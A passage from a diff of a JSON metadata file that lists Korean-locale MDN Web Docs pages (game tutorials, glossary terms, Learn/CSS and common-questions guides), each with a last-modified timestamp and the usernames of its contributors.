"Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls": { + "modified": "2019-03-23T22:20:49.480Z", + "contributors": [ + "wbamberg", + "sshplendid", + "daesD", + "hoony" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Build_the_brick_field": { + "modified": "2019-01-17T03:04:25.798Z", + "contributors": [ + "wbamberg", + "sshplendid" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Collision_detection": { + "modified": "2019-04-17T04:54:08.983Z", + "contributors": [ + "E.Chong_Ju_Noel", + "wbamberg", + "sshplendid" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Finishing_up": { + "modified": "2019-04-17T06:26:16.714Z", + "contributors": [ + "E.Chong_Ju_Noel" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over": { + "modified": "2019-01-17T03:02:48.219Z", + "contributors": [ + "wbamberg", + "sshplendid" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Mouse_controls": { + "modified": "2019-04-17T05:33:54.686Z", + "contributors": [ + "E.Chong_Ju_Noel" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls": { + "modified": "2019-01-17T02:41:51.426Z", + "contributors": [ + "wbamberg", + "sshplendid", + "egg-00" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Track_the_score_and_win": { + "modified": "2019-04-17T05:34:33.735Z", + "contributors": [ + "E.Chong_Ju_Noel", + "wbamberg", + "awer000" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기": { + "modified": "2019-03-23T22:23:23.704Z", + "contributors": [ + "wbamberg", + "sshplendid", + "hoony", + "Byeolbit" + ] + }, + "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기": { + "modified": "2019-01-17T00:09:33.787Z", + "contributors": [ + "wbamberg", + "sshplendid", + "daesD", + "hoony", + "HarrisLim", + "Byeolbit" + ] + }, + "Glossary": { + "modified": "2020-10-07T11:12:02.701Z", + "contributors": [ + "peterbe", + "alattalatta", + "SphinxKnight", + "wbamberg", + "Netaras", + "stephenjang", + "Andrew_Pfeiffer" + ] + }, + "Glossary/AJAX": { + "modified": "2019-03-23T22:40:15.454Z", + "contributors": [ + "daebum-lee", + "akic4op4" + ] + }, + "Glossary/API": { + "modified": "2019-05-28T05:38:06.993Z", + "contributors": [ + "JisooLee" + ] + }, + "Glossary/ASCII": { + "modified": "2019-09-10T02:26:52.071Z", + "contributors": [ + "mcleroysane19" + ] + }, + "Glossary/Abstraction": { + "modified": "2019-11-17T11:35:37.475Z", + "contributors": [ + "enfroze", + "alattalatta", + "gnujoow" + ] + }, + "Glossary/Accessibility": { + "modified": "2020-01-13T03:17:03.686Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Algorithm": { + "modified": "2019-11-17T11:22:40.957Z", + "contributors": [ + "enfroze", + "gnujoow" + ] + }, + "Glossary/Argument": { + "modified": "2019-11-17T06:21:02.547Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Attribute": { + "modified": "2020-01-12T03:10:44.163Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/Bandwidth": { + "modified": "2019-03-23T22:04:55.149Z", + "contributors": [ + "gnujoow" + ] + }, + "Glossary/Block": { + "modified": "2019-09-08T12:38:26.231Z" + }, + "Glossary/Block/CSS": { + "modified": "2019-12-29T04:26:04.647Z", + "contributors": [ + "alattalatta", + "Hwan-Woong-Lee" + ] + }, + "Glossary/Browser": { + "modified": "2020-08-05T01:07:27.042Z", + "contributors": [ + "alattalatta", + "cs09g", + "Kaben" + ] + }, + "Glossary/CORS": { + "modified": "2019-03-23T22:29:19.335Z", + "contributors": [ + "kuil09" + ] + }, + "Glossary/CSP": { + "modified": "2019-03-18T21:35:59.462Z", + "contributors": [ + "Seok.Heo", + "sunhyun" + ] + }, + "Glossary/CSS": { + "modified": "2020-08-05T01:06:55.575Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/CSS_preprocessor": { + "modified": "2019-04-18T12:04:13.994Z", + "contributors": [ + "alattalatta", + "ByeongGi" + ] + }, + "Glossary/Call_stack": { + "modified": "2019-03-18T20:34:32.739Z", + "contributors": [ + "dl0312", + "MartinYounghoonKim", + "cs09g", + "techhtml" + ] + }, + "Glossary/Character": { + "modified": "2019-11-17T06:45:02.779Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Chrome": { + "modified": "2019-11-20T12:06:40.564Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Client_hints": { + "modified": "2020-03-30T11:50:49.956Z", + "contributors": [ + "oinochoe" + ] + }, + "Glossary/Compile": { + "modified": "2019-10-29T10:03:26.609Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Computer_Programming": { + "modified": "2019-10-29T10:07:03.140Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Copyleft": { + "modified": "2019-11-17T12:11:12.916Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Cross_Axis": { + "modified": "2020-01-02T12:16:06.607Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/DOM": { + "modified": "2019-03-18T21:26:45.962Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/Descriptor_(CSS)": { + "modified": "2020-06-18T03:48:31.777Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Glossary/Doctype": { + "modified": "2019-10-31T03:37:46.868Z", + "contributors": [ + "lundella" + ] + }, + "Glossary/Domain_name": { + "modified": "2020-02-27T01:11:41.979Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/ECMAScript": { + "modified": "2020-11-30T15:17:38.947Z", + "contributors": [ + "woochul2" + ] + }, + "Glossary/Element": { + "modified": "2020-01-19T04:19:54.447Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/Empty_element": { + "modified": "2020-02-02T11:31:39.458Z", + "contributors": [ + "alattalatta", + "ShinJeKim" + ] + }, + "Glossary/Endianness": { + "modified": "2020-02-19T12:52:13.934Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Entity_header": { + "modified": "2019-04-30T11:59:59.102Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/FTP": { + "modified": "2019-10-29T12:53:31.410Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Falsy": { + "modified": "2020-08-26T22:58:41.496Z", + "contributors": [ + "honggaruy", + "Seonghui", + "alattalatta", + "Violet-Bora-Lee", + "Parcovia", + "hohoonlee" + ] + }, + "Glossary/First-class_Function": { + "modified": "2019-06-01T00:04:27.159Z", + "contributors": [ + "alattalatta", + "henry_hwang", + "skatpgusskat", + "cs09g", + "seflix" + ] + }, + "Glossary/Flex_Container": { + "modified": "2020-08-04T05:22:31.373Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Flex_Item": { + "modified": "2020-08-04T05:16:54.495Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Flexbox": { + "modified": "2020-08-04T05:13:41.384Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Fork": { + "modified": "2019-11-19T11:41:29.624Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Function": { + "modified": "2020-03-17T03:21:46.959Z", + "contributors": [ + "harryjjun", + "enfroze", + "ibizcox" + ] + }, + "Glossary/GPL": { + "modified": "2019-11-17T12:14:08.428Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/GPU": { + "modified": "2019-11-17T12:20:00.869Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/General_header": { + "modified": "2019-04-30T10:49:44.075Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/Global_object": { + "modified": "2020-09-27T03:52:40.420Z", + "contributors": [ + "khpproud" + ] + }, + "Glossary/Google_Chrome": { + "modified": "2019-12-26T10:50:50.022Z", + "contributors": [ + "04SeoHyun", + "enfroze" + ] + }, + "Glossary/Graceful_degradation": { + "modified": "2020-02-03T07:06:42.243Z", + "contributors": [ + "ChanMyeong" + ] + }, + "Glossary/HTML": { + "modified": "2020-01-19T04:48:54.962Z", + "contributors": [ + "alattalatta", + "cs09g", + "wafersroom", + "azunyan3" + ] + }, + "Glossary/HTTP": { + "modified": "2019-11-05T01:39:30.127Z", + "contributors": [ + "kimering" + ] + }, + "Glossary/HTTP_2": { + "modified": "2019-11-04T22:53:46.678Z", + "contributors": [ + "kimering" + ] + }, + "Glossary/Head": { + "modified": "2019-10-27T05:11:12.994Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Header": { + "modified": "2019-04-30T11:26:53.285Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/Hoisting": { + "modified": "2019-07-11T11:32:59.609Z", + "contributors": [ + "jinbeomhong", + "liante0904", + "techhtml", + "Netaras" + ] + }, + "Glossary/IIFE": { + "modified": "2019-10-06T06:23:46.350Z", + "contributors": [ + "songdoing", + "cs09g", + "dsma73", + "sshplendid" + ] + }, + "Glossary/IP_Address": { + "modified": "2019-11-19T06:03:10.670Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/IPv4": { + "modified": "2019-10-29T12:46:35.140Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/IPv6": { + "modified": "2019-10-29T12:38:04.058Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Idempotent": { + "modified": "2020-01-27T06:32:59.252Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Index": { + "modified": "2019-05-26T04:17:19.834Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Internet": { + "modified": "2019-10-29T12:34:29.654Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/JSON": { + "modified": "2020-08-27T00:13:07.754Z", + "contributors": [ + "honggaruy" + ] + }, + "Glossary/Java": { + "modified": "2019-11-17T11:44:56.230Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/JavaScript": { + "modified": "2019-03-23T22:55:08.110Z", + "contributors": [ + "Party4Bread", + "akic4op4", + "stephenjang" + ] + }, + "Glossary/MIME_type": { + "modified": "2019-05-10T06:12:12.269Z", + "contributors": [ + "VictorTaekLim" + ] + }, + "Glossary/MVC": { + "modified": "2019-03-18T20:38:21.536Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/Main_Axis": { + "modified": "2020-01-02T12:14:51.078Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Metadata": { + "modified": "2020-01-13T13:25:13.943Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Method": { + "modified": "2019-11-17T05:42:10.347Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Microsoft_Edge": { + "modified": "2020-01-19T04:40:21.559Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/Microsoft_Internet_Explorer": { + "modified": "2019-11-17T10:16:18.451Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Mozilla_Firefox": { + "modified": "2020-01-19T04:47:57.973Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/Node.js": { + "modified": "2020-01-12T05:33:10.138Z", + "contributors": [ + "alattalatta", + "galcyurio" + ] + }, + "Glossary/Null": { + "modified": "2020-10-11T08:16:16.978Z", + "contributors": [ + "Joontae-Kim" + ] + }, + "Glossary/OOP": { + "modified": "2019-10-29T10:28:29.794Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Object": { + "modified": "2019-10-29T10:31:41.062Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Object_reference": { + "modified": "2019-11-17T06:06:40.867Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Operator": { + "modified": "2019-11-17T11:52:43.062Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Origin": { + "modified": "2020-02-22T14:10:20.748Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/PDF": { + "modified": "2019-11-17T11:58:50.797Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/PHP": { + "modified": "2019-05-26T04:18:28.806Z", + "contributors": [ + "alattalatta", + "yuj25" + ] + }, + "Glossary/PNG": { + "modified": "2019-11-17T11:59:51.070Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Pixel": { + "modified": "2019-11-17T11:56:15.038Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Polyfill": { + "modified": "2019-11-18T11:28:34.172Z", + "contributors": [ + "limkukhyun" + ] + }, + "Glossary/Preflight_request": { + "modified": "2020-08-16T00:25:48.142Z", + "contributors": [ + "Sunmin0520" + ] + }, + "Glossary/Primitive": { + "modified": "2020-08-05T00:42:43.615Z", + "contributors": [ + "alattalatta", + "cs09g", + "nicesh" + ] + }, + "Glossary/Progressive_Enhancement": { + "modified": "2020-02-03T23:41:49.098Z", + "contributors": [ + "ChanMyeong" + ] + }, + "Glossary/Protocol": { + "modified": "2020-02-02T10:41:08.301Z", + "contributors": [ + "alattalatta", + "enfroze", + "JisooLee", + "kimering" + ] + }, + "Glossary/Prototype": { + "modified": "2019-10-18T07:42:15.221Z", + "contributors": [ + "ujeon" + ] + }, + "Glossary/Prototype-based_programming": { + "modified": "2019-05-26T04:19:13.494Z", + "contributors": [ + "alattalatta", + "HyunBeomHeo" + ] + }, + "Glossary/Proxy_server": { + "modified": "2019-10-29T05:16:15.357Z", + "contributors": [ + "JisooLee" + ] + }, + "Glossary/Pseudocode": { + "modified": "2019-11-20T11:53:40.913Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Python": { + "modified": "2019-11-17T12:05:40.012Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/REST": { + "modified": "2020-09-04T04:06:27.455Z", + "contributors": [ + "Sunmin0520" + ] + }, + "Glossary/Reflow": { + "modified": "2019-10-25T06:40:35.697Z", + "contributors": [ + "ChanMyeong" + ] + }, + "Glossary/Regular_expression": { + "modified": "2019-03-23T22:03:19.722Z", + "contributors": [ + "nazuna1" + ] + }, + "Glossary/Request_header": { + "modified": "2019-05-02T11:11:08.932Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/Response_header": { + "modified": "2019-04-30T11:52:42.805Z", + "contributors": [ + "cs09g" + ] + }, + "Glossary/SEO": { + "modified": "2020-01-13T03:31:45.674Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/SIMD": { + "modified": "2019-03-23T22:32:07.923Z", + "contributors": [ + "Netaras" + ] + }, + "Glossary/SMTP": { + "modified": "2020-01-21T11:08:35.432Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/SQL": { + "modified": "2019-03-18T21:42:28.660Z", + "contributors": [ + "revi" + ] + }, + "Glossary/SSL": { + "modified": "2020-09-01T01:40:23.958Z", + "contributors": [ + "junnapark" + ] + }, + "Glossary/SVG": { + "modified": "2019-03-23T22:18:33.455Z", + "contributors": [ + "sujilee91" + ] + }, + "Glossary/Self-Executing_Anonymous_Function": { + "modified": "2019-12-03T20:36:04.784Z", + "contributors": [ + "Saem" + ] + }, + "Glossary/Semantics": { + "modified": "2020-03-12T01:28:09.192Z", + "contributors": [ + "ohahohah", + "darongE", + "Latera" + ] + }, + "Glossary/Server": { + "modified": "2019-10-29T10:54:27.928Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Shim": { + "modified": "2019-03-23T22:51:59.120Z", + "contributors": [ + "epicsaga" + ] + }, + "Glossary/Signature": { + "modified": "2019-03-23T22:05:46.662Z", + "contributors": [ + "PetiPandaRou" + ] + }, + "Glossary/Signature/Function": { + "modified": "2019-03-23T22:05:47.333Z", + "contributors": [ + "SELO77", + "seungha-kim" + ] + }, + "Glossary/Stacking_context": { + "modified": "2019-12-29T03:38:31.325Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/String": { + "modified": "2019-11-17T09:40:20.892Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Symbol": { + "modified": "2019-09-22T21:56:04.399Z", + "contributors": [ + "Hongsun", + "dolmoon", + "limkukhyun" + ] + }, + "Glossary/TCP": { + "modified": "2020-07-18T05:44:12.957Z", + "contributors": [ + "jins9199" + ] + }, + "Glossary/TLS": { + "modified": "2020-09-01T00:02:24.553Z", + "contributors": [ + "junnapark" + ] + }, + "Glossary/Tag": { + "modified": "2020-01-19T04:32:44.181Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/Truthy": { + "modified": "2020-08-26T22:21:21.196Z", + "contributors": [ + "honggaruy", + "Seonghui", + "alattalatta", + "Violet-Bora-Lee" + ] + }, + "Glossary/UI": { + "modified": "2019-10-29T10:58:07.951Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/URI": { + "modified": "2020-01-22T13:18:49.380Z", + "contributors": [ + "alattalatta", + "BenjaminYou" + ] + }, + "Glossary/URL": { + "modified": "2020-01-21T11:09:22.036Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/UTF-8": { + "modified": "2019-11-17T08:52:36.131Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Unicode": { + "modified": "2019-05-24T13:16:24.428Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/User_agent": { + "modified": "2020-08-05T01:07:33.918Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/Variable": { + "modified": "2019-11-17T06:14:20.302Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/Viewport": { + "modified": "2020-08-10T06:18:22.173Z", + "contributors": [ + "alattalatta", + "SeonHyungJo" + ] + }, + "Glossary/WHATWG": { + "modified": "2020-01-12T06:40:17.162Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/WebExtensions": { + "modified": "2019-03-18T21:44:17.282Z", + "contributors": [ + "junthus" + ] + }, + "Glossary/WebRTC": { + "modified": "2019-03-18T21:39:53.407Z", + "contributors": [ + "1sonjm" + ] + }, + "Glossary/WebSockets": { + "modified": "2019-10-29T10:39:24.748Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/World_Wide_Web": { + "modified": "2019-03-23T22:18:23.912Z", + "contributors": [ + "wafersroom" + ] + }, + "Glossary/Wrapper": { + "modified": "2019-11-17T09:43:44.308Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/XHR_(XMLHttpRequest)": { + "modified": "2019-05-26T04:21:15.494Z", + "contributors": [ + "alattalatta", + "frankradio", + "OKCHANGWON", + "kidkkr" + ] + }, + "Glossary/character_encoding": { + "modified": "2019-11-17T09:29:40.486Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/character_set": { + "modified": "2019-11-17T11:13:13.450Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/firewall": { + "modified": "2020-01-21T11:10:59.046Z", + "contributors": [ + "alattalatta", + "enfroze" + ] + }, + "Glossary/gif": { + "modified": "2019-11-19T01:18:42.872Z", + "contributors": [ + "enfroze" + ] + }, + "Glossary/https": { + "modified": "2019-03-18T20:53:11.377Z", + "contributors": [ + "jisooeulee" + ] + }, + "Glossary/jQuery": { + "modified": "2019-10-06T09:53:54.369Z", + "contributors": [ + "Eumhongin", + "jisooeulee" + ] + }, + "Glossary/undefined": { + "modified": "2019-05-26T04:16:46.198Z", + "contributors": [ + "alattalatta" + ] + }, + "Glossary/동적_프로그래밍_언어": { + "modified": "2019-03-18T21:23:35.310Z", + "contributors": [ + "flat81" + ] + }, + "Glossary/배열": { + "modified": "2019-03-18T21:24:02.576Z", + "contributors": [ + "Parcovia" + ] + }, + "Glossary/불린": { + "modified": "2019-03-23T22:13:53.303Z", + "contributors": [ + "Violet-Bora-Lee", + "BA-jhlee" + ] + }, + "Glossary/브라우저-컨텍스트": { + "modified": "2020-01-05T11:52:27.990Z", + "contributors": [ + "alattalatta", + "HyunSeob" + ] + }, + "Glossary/스코프": { + "modified": "2020-08-28T03:24:50.648Z", + "contributors": [ + "heejinlee07" + ] + }, + "Glossary/식별자": { + "modified": "2019-05-24T13:17:06.184Z", + "contributors": [ + "alattalatta", + "HyunSeob" + ] + }, + "Glossary/전송_제어_프로토콜_(TCP)": { + "modified": "2020-01-12T14:32:05.700Z", + "contributors": [ + "doong-jo" + ] + }, + "Glossary/캐시": { + "modified": "2019-10-28T01:10:08.788Z", + "contributors": [ + "JisooLee" + ] + }, + "How_to_Build_an_XPCOM_Component_in_Javascript": { + "modified": "2019-03-23T23:49:04.482Z", + "contributors": [ + "Channy", + "Yookh80" + ] + }, + "Introduction_to_using_XPath_in_JavaScript": { + "modified": "2020-08-06T04:38:40.599Z", + "contributors": [ + "alattalatta", + "Netaras", + "Sebuls" + ] + }, + "JavaScript_C_Engine_Embedder's_Guide": { + "modified": "2019-03-23T23:51:52.110Z", + "contributors": [ + "teoli", + "Comayjlee", + "Joone" + ] + }, + "Learn": { + "modified": "2020-07-16T22:43:44.593Z", + "contributors": [ + "SphinxKnight", + "hl5nyw", + "yeoncheol-kr", + "honggaruy", + "alattalatta", + "Silvermist", + "2kindsofcs", + "ehgus", + "svarlamov", + "daktwigim", + "MiscellaneousDictionary", + "dolmoon", + "moodcoding", + "Olivia_J", + "minwook-shin", + "daesD", + "kidkkr", + "haneri", + "kygn1998", + "Netaras", + "hoony", + "sunkibaek", + "cs09g", + "Donghyun_Lee", + "kscarfone" + ] + }, + "Learn/CSS": { + "modified": "2020-07-16T22:25:35.300Z", + "contributors": [ + "alattalatta", + "Narrativi", + "cs09g" + ] + }, + "Learn/CSS/Basics/Layout": { + "modified": "2020-07-16T22:25:40.836Z", + "contributors": [ + "yooonmi" + ] + }, + "Learn/CSS/Building_blocks": { + "modified": "2020-07-16T22:28:08.863Z", + "contributors": [ + "java2020007", + "chrisdavidmills" + ] + }, + "Learn/CSS/Building_blocks/Backgrounds_and_borders": { + "modified": "2020-07-16T22:29:10.420Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Cascade_and_inheritance": { + "modified": "2020-07-16T22:28:31.699Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Debugging_CSS": { + "modified": "2020-10-15T22:28:01.240Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Handling_different_text_directions": { + "modified": "2020-07-16T22:29:13.802Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Images_media_form_elements": { + "modified": "2020-07-16T22:29:25.861Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Organizing": { + "modified": "2020-07-16T22:29:31.977Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Overflowing_content": { + "modified": "2020-07-16T22:29:17.930Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Sizing_items_in_CSS": { + "modified": "2020-07-16T22:29:22.091Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Styling_tables": { + "modified": "2020-07-16T22:28:18.125Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/Values_and_units": { + "modified": "2020-07-16T22:28:58.232Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Building_blocks/상자_모델": { + "modified": "2020-07-16T22:29:04.939Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/Building_blocks/선택자": { + "modified": "2020-07-16T22:28:36.722Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/CSS_layout": { + "modified": "2020-07-16T22:26:31.606Z", + "contributors": [ + "happyT", + "Hwan-Woong-Lee", + "sujinlee0616", + "stitchworkingonthecode", + "daesD", + "yooonmi" + ] + }, + "Learn/CSS/CSS_layout/Flexbox": { + "modified": "2020-07-16T22:26:53.880Z", + "contributors": [ + "harryjjun", + "EricByHPHK", + "Hwan-Woong-Lee", + "cybaj" + ] + }, + "Learn/CSS/CSS_layout/Floats": { + "modified": "2020-07-16T22:26:38.865Z", + "contributors": [ + "harryjjun", + "Hwan-Woong-Lee", + "ByeongGi" + ] + }, + "Learn/CSS/CSS_layout/Grids": { + "modified": "2020-07-16T22:27:00.538Z", + "contributors": [ + "n2ptune", + "harryjjun", + "Hwan-Woong-Lee", + "sonsoonmee" + ] + }, + "Learn/CSS/CSS_layout/Introduction": { + "modified": "2020-07-16T22:27:06.481Z", + "contributors": [ + "happyT", + "Hwan-Woong-Lee", + "DeadIntegral" + ] + }, + "Learn/CSS/CSS_layout/Legacy_Layout_Methods": { + "modified": "2020-07-16T22:27:15.445Z", + "contributors": [ + "Hwan-Woong-Lee", + "SphinxKnight" + ] + }, + "Learn/CSS/CSS_layout/Multiple-column_Layout": { + "modified": "2020-07-16T22:27:10.991Z", + "contributors": [ + "harryjjun", + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서": { + "modified": "2020-07-16T22:27:32.744Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/CSS_layout/반응형_디자인": { + "modified": "2020-07-16T22:27:29.107Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/CSS_layout/위치잡기": { + "modified": "2020-07-16T22:26:44.211Z", + "contributors": [ + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/CSS_layout/이전_브라우저_지원": { + "modified": "2020-07-16T22:27:19.114Z", + "contributors": [ + "EricByHPHK", + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/CSS_layout/일반_흐름": { + "modified": "2020-07-16T22:27:22.113Z", + "contributors": [ + "EricByHPHK", + "Hwan-Woong-Lee" + ] + }, + "Learn/CSS/First_steps": { + "modified": "2020-07-16T22:27:39.876Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/First_steps/Getting_started": { + "modified": "2020-07-16T22:27:51.305Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/First_steps/How_CSS_is_structured": { + "modified": "2020-07-16T22:27:56.117Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/First_steps/How_CSS_works": { + "modified": "2020-07-16T22:28:00.995Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/First_steps/Using_your_new_knowledge": { + "modified": "2020-07-16T22:28:04.551Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/First_steps/What_is_CSS": { + "modified": "2020-10-15T22:27:36.251Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/CSS/Howto": { + "modified": "2020-07-16T22:25:42.866Z", + "contributors": [ + "silmari" + ] + }, + "Learn/CSS/Howto/Generated_content": { + "modified": "2020-07-16T22:25:48.143Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "SpikeYou" + ] + }, + "Learn/CSS/Introduction_to_CSS/기본적인_CSS_이해": { + "modified": "2020-07-16T22:28:12.763Z", + "contributors": [ + "ERTuringLee" + ] + }, + "Learn/CSS/Styling_text": { + "modified": "2020-07-16T22:25:59.083Z", + "contributors": [ + "java2020007", + "jsmac7014" + ] + }, + "Learn/CSS/Styling_text/Fundamentals": { + "modified": "2020-07-16T22:26:07.627Z", + "contributors": [ + "java2020007", + "alattalatta", + "ERTuringLee" + ] + }, + "Learn/CSS/Styling_text/Styling_lists": { + "modified": "2020-07-16T22:26:13.932Z", + "contributors": [ + "java2020007" + ] + }, + "Learn/Common_questions": { + "modified": "2020-07-17T04:53:21.623Z", + "contributors": [ + "AlexChoi", + "rudolfo" + ] + }, + "Learn/Common_questions/HTML_features_for_accessibility": { + "modified": "2020-07-16T22:35:51.295Z", + "contributors": [ + "woojin.jo" + ] + }, + "Learn/Common_questions/How_does_the_Internet_work": { + "modified": "2020-07-16T22:35:37.384Z", + "contributors": [ + "FreelyReceivedFreelyGive", + "doong-jo", + "HoLlOlLoLlU", + "toyuq", + "ssilb4" + ] + }, + "Learn/Common_questions/Pages_sites_servers_and_search_engines": { + "modified": "2020-07-16T22:35:40.167Z", + "contributors": [ + "doong-jo", + "ssilb4" + ] + }, + "Learn/Common_questions/Upload_files_to_a_web_server": { + "modified": "2020-07-16T22:35:41.806Z", + "contributors": [ + "Je-Gwan", + "kuil09" + ] + }, + "Learn/Common_questions/What_are_hyperlinks": { + "modified": "2020-07-16T22:35:43.271Z", + "contributors": [ + "ssilb4" + ] + }, + "Learn/Common_questions/What_is_a_URL": { + "modified": "2020-07-16T22:35:29.813Z", + "contributors": [ + "ssilb4" + ] + }, + "Learn/Common_questions/What_is_a_domain_name": { + "modified": "2020-07-16T22:35:44.305Z", + "contributors": [ + "peacekimjapan", + "hyunjinyoon", + "ssilb4" + ] + }, + "Learn/Common_questions/What_is_a_web_server": { + "modified": "2020-11-29T22:15:28.062Z", + "contributors": [ + "yr4978", + "rshk2002", + "doong-jo", + "ghkdxofla", + "jisup", + "namwoo", + "woojin.jo" + ] + }, + "Learn/Common_questions/What_software_do_I_need": { + "modified": "2020-07-16T22:35:33.374Z", + "contributors": [ + "ssilb4" + ] + }, + "Learn/Common_questions/set_up_a_local_testing_server": { + "modified": "2020-11-29T09:15:10.698Z", + "contributors": [ + "yr4978", + "anoncaco", + "rkdxofyd", + "jungyh0218", + "dolmoon" + ] + }, + "Learn/Common_questions/웹_사이트가_제대로_동작하는지_확인": { + "modified": "2020-07-16T22:35:50.357Z", + "contributors": [ + "best8248" + ] + }, + "Learn/Common_questions/코딩하기_전에_생각하기": { + "modified": "2020-07-16T22:35:34.712Z", + "contributors": [ + "Silvermist", + "ssilb4", + "daebum-lee" + ] + }, + "Learn/Front-end_web_developer": { + "modified": "2020-09-26T16:42:10.726Z", + "contributors": [ + "DeadIntegral" + ] + }, + 